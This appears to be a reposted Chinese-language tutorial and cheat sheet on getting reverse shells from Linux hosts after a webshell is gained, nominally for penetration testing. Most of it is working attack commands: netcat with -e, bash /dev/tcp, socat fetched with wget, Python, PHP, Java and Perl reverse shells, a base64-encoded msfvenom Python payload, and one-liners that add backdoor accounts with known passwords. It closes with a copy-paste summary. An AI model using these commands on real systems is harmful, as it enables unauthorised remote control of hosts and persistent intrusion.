1. 程式人生 > 實用技巧 >反彈shell

反彈shell

反彈shell

參考安全客文章

簡介

我們在滲透測試的過程中經常會遇到linux主機環境,而在獲取linux主機shell是我們經常需要做的是工作內容之一,其中經常會遇到以下幾個場景。

一、場景一

我們已經拿下主機的一個webshell,我們想獲取一個可以直接操作主機的虛擬終端,此時我們首先想到的是開啟一個shell監聽,這種場景比較簡單,我們直接使用使用nc即可開啟,如果沒有nc我們也可以很輕鬆的直接下載安裝一個,具體開啟監聽的命令如下。

1.1 安裝netcat

這裡需要注意一點預設的各個linux發行版本已經自帶了netcat工具包,但是可能由於處於安全考慮原生版本的netcat帶有可以直接釋出與反彈本地shell的功能引數 -e這裡都被閹割了,所以我們需要手動下載二進位制安裝包,自己動手豐衣足食了,具體過程如下。

原生版本netcat連結:https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz

# 第一步:下載二進位制netc安裝包
root@home-pc# wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz 
# 第二步:解壓安裝包
root@home-pc# tar -xvzf netcat-0.7.1.tar.gz
# 第三步:編譯安裝
root@home-pc# ./configure
root@home-pc# make
root@home-pc# make install
root@home-pc# make clean
# 具體編譯安裝過程可以直接參見INSTALL安裝說明檔案內容...
# 第四步:在當前目錄下執行nc幫助
root@home-pc:/tmp/netcat-0.7.1# nc -h
GNU netcat 0.7.1, a rewrite of the famous networking tool.
Basic usages:
connect to somewhere:  nc [options] hostname port [port] ...
listen for inbound:    nc -l -p port [options] [hostname] [port] ...
tunnel to somewhere:   nc -L hostname:port -p port [options]
Mandatory arguments to long options are mandatory for short options too.
Options:
  -c, --close                close connection on EOF from stdin
  -e, --exec=PROGRAM         program to exec after connect
  -g, --gateway=LIST         source-routing hop point[s], up to 8
  -G, --pointer=NUM          source-routing pointer: 4, 8, 12, ...
  -h, --help                 display this help and exit
  -i, --interval=SECS        delay interval for lines sent, ports scanned
  -l, --listen               listen mode, for inbound connects
  -L, --tunnel=ADDRESS:PORT  forward local port to remote address
  -n, --dont-resolve         numeric-only IP addresses, no DNS
  -o, --output=FILE          output hexdump traffic to FILE (implies -x)
  -p, --local-port=NUM       local port number
  -r, --randomize            randomize local and remote ports
  -s, --source=ADDRESS       local source address (ip or hostname)
  -t, --tcp                  TCP mode (default)
  -T, --telnet               answer using TELNET negotiation
  -u, --udp                  UDP mode
  -v, --verbose              verbose (use twice to be more verbose)
  -V, --version              output version information and exit
  -x, --hexdump              hexdump incoming and outgoing traffic
  -w, --wait=SECS            timeout for connects and final net reads
  -z, --zero                 zero-I/O mode (used for scanning)
Remote port number can also be specified as range.  Example: '1-1024'

至此我們已經安裝完成原生版本的 netcat工具,有了netcat -e引數,我們就可以將本地bash完整發布到外網了。

1.2 開啟本地監聽

# 開啟本地8080埠監聽,並將本地的bash釋出出去。
nc -lvvp 8080 -t -e /bin/bash
#經過我測試 nc -lvnp 8080沒有問題

1.3 直接連線目標主機

root@kali:~# nc 192.168.31.41 8080
whoami
root
w
 22:57:36 up  1:24,  0 users,  load average: 0.52, 0.58, 0.59
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHA
# 直接連線經過我測試沒有什麼用,能連上但是看不見沒有返回資訊

二、場景二

目標主機為一個內網主機,並沒有公網IP地址,我們無法從外網發起對目標主機的遠端連線,此時我們使用的方法是使用獲取的webshell主動發起一個反彈的shell到外網,然後獲取一個目標主機的shell終端控制環境,而有關shell反彈的方法有很多這裡簡單介紹幾種比較常見的方法。

2.1 bash 直接反彈

bash一句話shell反彈:個人感覺最好用的用的方法就是使用的方法就是使用bash結合重定向方法的一句話,具體命令如下。

(1) bash反彈一句話

bash -i >& /dev/tcp/192.168.31.41/8080 0>&1

(2)bash一句話命令詳解

以下針對常用的bash反彈一句話進行了拆分說明,具體內容如下。

其實以上bash反彈一句完整的解讀過程就是:

bash產生了一個互動環境與本地主機主動發起與目標主機8080埠建立的連線(即TCP 8080 會話連線)相結合,然後在重定向個tcp 8080會話連線,最後將使用者鍵盤輸入與使用者標準輸出相結合再次重定向給一個標準的輸出,即得到一個bash 反彈環境。

2.2 netcat 工具反彈

Netcat 一句話反彈:Netcat反彈也是非常常用的方法,只是這個方法需要我們手動去安裝一個NC環境,前面已經介紹預設的linux髮型版現在自帶的NC都是被閹割過來,無法反彈一個bash給遠端,所以相對上面的bash一句話反彈顯得就繁瑣很多,同時通過實際測試發現NC反彈的shell互動性也差很多,後面會具體說道,這裡就不多說了。

(1)開啟外網主機監聽

nc -lvnp 8080
#listening on [any] 8080 ...

(2) netcat安裝

有關netcat的原生二進位制安裝包的編譯安裝內容請參考場景一中的具體說明;

(3)netcat 反彈一句話

nc 192.168.31.174 8080 -t -e /bin/bash
# 命令詳解:通過webshell我們可以使用nc命令直接建立一個tcp 8080 的會話連線,然後將本地的bash通過這個會話連線反彈給目標主機(192.168.31.174)。

(4)shell反彈成功

此時我們再回到外網主機,我們會發現tcp 8080監聽已經接收到遠端主機發起的連線,併成功獲取shell虛擬終端控制環境。

2.3 socat 反彈一句話

Socat是Linux 下一個多功能的網路工具,名字來由是” Socket CAT”,因此可以看出它基於socket,能夠折騰socket相關的無數事情 ,其功能與netcat類似,不過據說可以看做netcat的加強版,事實上的確也是如此,nc應急比較久沒人維護了,確實顯得有些陳舊了,我這裡只簡單的介紹下怎麼使用它開啟監聽和反彈shell,其他詳細內容可以參加見文末的參考學習。

有關socat二進位制可執行檔案,大家可以到這個連結下載:https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

(1) 攻擊機上開啟監聽

# socat TCP-LISTEN:12345 -

(2) 靶機上執行socat反彈shell

# /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.31.174:12345

(3) shell 反彈成功

2.4 其他指令碼一句話shell反彈

以下指令碼反彈一句話的使用方法都是一樣的,只要在攻擊機在本地開啟 TCP 8080監聽,然後在遠端靶機上執行以下任意一種指令碼語句,即可把靶機的bash反彈給攻擊主機的8080埠(當然前提條件是目標主機上要有響應的指令碼解析環境支援,才可以使用,相信這點大家肯定都是明白的)。

2.4.1 python指令碼反彈

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2.4.2 php 指令碼反彈

php -r '$sock=fsockopen("192.168.31.41",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

2.4.3 Java 指令碼反彈

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

2.4.4 perl 指令碼反彈

perl -e 'use Socket;$i="192.168.31.41";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2.5 msfvenom 獲取反彈一句話

學習過程中發現其實強大的MSF框架也為我們提供了生成一句話反彈shell的工具,即msfvenom。絕對的實用,當我們不記得前面說的所有反彈shell的反彈語句時,只要我們有Metasploit,隨時我們都可以使用msfvenom -l 來查詢生成我們所需要的各類命令列一句話,具體使用方法為各位看官老爺們收集如下。

2.5.1 查詢 payload 具體路徑

我們直接可以使用 msfvenom -l 結合關鍵字過濾(如cmd/unix/reverse),找出我們需要的各類反彈一句話payload的路徑資訊。

# msfvenom -l payloads 'cmd/unix/reverse'

檢視以上截圖,我們可以看到msfvenom支援生成反彈shell一句話的型別非常豐富,這裡幾乎是應有盡有,大家可以依據滲透測試物件自行選擇使用。

2.5.2 生成我們我們需要的命令列一句話

依照前面查找出的命令生成一句話payload路徑,我們使用如下的命令生成反彈一句話,然後複製貼上到靶機上執行即可。

bash 反彈一句話生成

# root@kali:~# msfvenom -p cmd/unix/reverse_bash lhost=1.1.1.1 lport=12345 R

閹割版nc反彈一句話生成

# root@kali:~# msfvenom -p cmd/unix/reverse_netcat lhost=1.1.1.1 lport=12345 R

2.5.3 msfvenom 使用例項

(1) 開啟攻擊機監聽

在攻擊機上開啟本地 TCP 12345 埠監聽,準備監聽機上的會話反彈,檢視如下截圖可以看到本地TCP 12345 埠監聽已經開啟。

(2) 獲取python一句話

我們此時可以藉助於MSF框架平臺的msfvenom 工具自動生成一個python 反彈一句話,具體操作請參加如下截圖。(當然這裡的前提條件是靶機上安裝有python環境,現在預設一般的linux發行版預設都安裝有python環境。)

(3) 靶機上執行python一句話

python -c "exec('aW1wb3J0IHNvY2tldCAgICAgICAgLCBzdWJwcm9jZXNzICAgICAgICAsIG9zICAgICAgICA7ICBob3N0PSIxOTIuMTY4LjMxLjIwMCIgICAgICAgIDsgIHBvcnQ9MTIzNDUgICAgICAgIDsgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAgICAgLCBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgICA7ICBzLmNvbm5lY3QoKGhvc3QgICAgICAgICwgcG9ydCkpICAgICAgICA7ICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgICwgMCkgICAgICAgIDsgIG9zLmR1cDIocy5maWxlbm8oKSAgICAgICAgLCAxKSAgICAgICAgOyAgb3MuZHVwMihzLmZpbGVubygpICAgICAgICAsIDIpICAgICAgICA7ICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik='.decode('base64'))"

直接將上面msfvenon 生成的 python 一句話複製到靶機webshell上執行即可,我這裡為演示方便,直接貼了一張使用kali做為靶機執行的截圖。

(4) 攻擊監聽接受反彈情況

三、場景三

場景三其實應該是在使用shell環境獲取的過程中遇到的問題孕育出來的,大家如果經常使用前各種方法進行虛擬終端環境獲取的話,會發現存在一個問題,就是我們即使獲取了目標虛擬終端控制權限,但是往往會發現互動性非常的差,就是發現這個虛擬回顯資訊與可互動性非常的差和不穩定,具體見情況有以下幾個種。

問題1: 獲取的虛擬終端沒有互動性,我們想給新增的賬號設定密碼,無法完成。

問題2:標準的錯誤輸出無法顯示,無法正常使用vim等文字編輯器等;

問題3: 獲取的目標主機的虛擬終端使用非常不穩定,很容易斷開連線。

針對以上問題個人學習和總結了以下的應對方法,請大家參考交流。

3.1 一句話新增賬號

你不是不給我提供互動的介面嗎,那我就是使用指令碼式的方法,使用一句話完成賬號密碼的新增,有關一句話賬號密碼的新增,筆者收集了以下幾種方式。

3.1.1 chpasswd 方法

(1)執行語句

useradd newuser;echo "newuser:password"|chpasswd

(2)操作例項

root@ifly-21171:~# useradd guest;echo 'guest:123456'|chpasswd
root@ifly-21171:~# vim /etc/shadow

sshd:*:17255:0:99999:7:::
pollinate:*:17255:0:99999:7:::
postgres:*:17390:0:99999:7:::
guest:$6$H0a/Nx.w$c2549uqXOULY4KvfCK6pTJQahhW7fuYYyHlo8HpnBxnUMtbXEbhgvFywwyPo5UsCbSUAMVvW9a7PsJB12TXPn.:17425:0:99999:7:::

3.1.2 useradd -p 方法

(1) 執行語句

useradd -p encrypted_password newuser

(2) 操作例項

root@ifly-21171:~# useradd -p `openssl passwd 123456` guest
root@ifly-21171:~# vim /etc/shadow
sshd:*:17255:0:99999:7:::
pollinate:*:17255:0:99999:7:::
postgres:*:17390:0:99999:7:::
guest:h8S5msqJLVTfo:17425:0:99999:7:::

(3) 相同方法其他實現

相同方法不同實現一

root@ifly-21171:~# useradd -p "$(openssl passwd 123456)" guest
root@ifly-21171:~#

相同方法不同實現二

user_password="`openssl passwd 123456`"
useradd -p "$user_password" guest

3.1.3 echo -e 方法

(1)執行語句

useradd newuwer;echo -e "123456n123456n" |passwd newuser

(2) 操作例項

root@ifly-21171:~# useradd test;echo -e "123456n123456n" |passwd test
Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully
root@ifly-21171:~# vim /etc/shadow
sshd:*:17255:0:99999:7:::
pollinate:*:17255:0:99999:7:::
postgres:*:17390:0:99999:7:::
guest:h/UnnFIjqKogw:17425:0:99999:7:::
test:$6$rEjvwAb2$nJuZ1MDt0iKbW9nigp8g54ageiKBDuoLObLd1kWUC2FmLS0xCFFZmU4dzRtX/i2Ypm9uY6oKrSa9gzQ6qykzW1:17425:0:99999:7:::

3.2 python 標準虛擬終端獲取

我們通過各種方式獲取的shell經常不穩定或者沒有互動介面的原因,往往都是因為我們獲取的shell不是標準的虛擬終端,此時我們其實可以藉助於python來獲取一個標準的虛擬終端環境。python在現在一般發行版Linux系統中都會自帶,所以使用起來也較為方便,即使沒有安裝,我們手動安裝也很方便。

3.2.1 python 一句話獲取標準shell

使用python 一句話獲取標準shell的具體命令如下:

# python -c "import pty;pty.spawn('/bin/bash')"

命令詳解:python 預設就包含有一個pty的標準庫。

3.2.2 例項演示

具體(1)開啟監聽;(2)反彈shell;(3)會話建立的過程這裡不在重複演示了,這裡直接貼出筆者獲取到反彈shell後的問題後,如何通過python獲取標準shell的過程截圖展現如下。

雖然到目前為止寫的虛擬終端並沒有原生終端那樣好,但是花點時間去折騰然後不斷的去完善.相信會做的更好. 大家可能在滲透測試的時候會發現有些時候系統的命令終端是不允許直接訪問的,那麼這個時候用Python虛擬化一個終端相信會讓你眼前一亮.

四、寫在最後

最後將上面學習的內容做一下小結,以方便日後可以直接複製貼上使用,筆者貼心不,你就說貼心補貼(ou tu bu zhi …)

4.1 nc開啟本地監聽釋出bash服務

# nc -lvvp 12345 -t -e /bin/bash

4.2 常用反彈shell一句話

(1) bash 反彈一句話

# bash -i >& /dev/tcp/192.168.1.123/12345 0>&1

(2) nc 反彈一句話

# nc 192.168.1.123 12345 -t -e /bin/bash

(3) socat 反彈一句話

# wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat      # 第一步:下載socat到/tmp目錄下
# chmod 755 /tmp/socat          # 第二步:給socaat授予可以執行許可權
# /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.31.41:12345        # 第三步:反彈shell到目標主機的12345埠

4.3 利用msfvenom獲取反彈一句話

(1) 查詢 reverse payload 反彈路徑

# msfvenom -l payloads 'cmd/unix/reverse'

(2) 生成相關反彈一句話

# msfvenom -p cmd/unix/reverse_xxxx lhost=1.1.1.1 lport=12345 R

剩下的就是將生成的payload 反彈一句話直接複製到靶機上直接執行即反彈一個shell出來。

4.4 使用python獲取標準shell

直接在獲取的廢標準shell上直接執行一下python 一句話即可獲取一個標準的shell。

# python -c "import pty;pty.spawn('/bin/bash')"

4.5 linux 一句話新增賬戶

(1)chpasswd 方法

# useradd guest;echo 'guest:123456'|chpasswd

(2)useradd -p 方法

# useradd -p `openssl passwd 123456` guest

(3)echo -e 方法

# useradd test;echo -e "123456n123456n" |passwd test

學習參考

https://github.com/smartFlash/pySecurity/blob/master/zh-cn/0x11.md

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

http://www.freebuf.com/news/142195.html

http://brieflyx.me/2015/linux-tools/socat-introduction/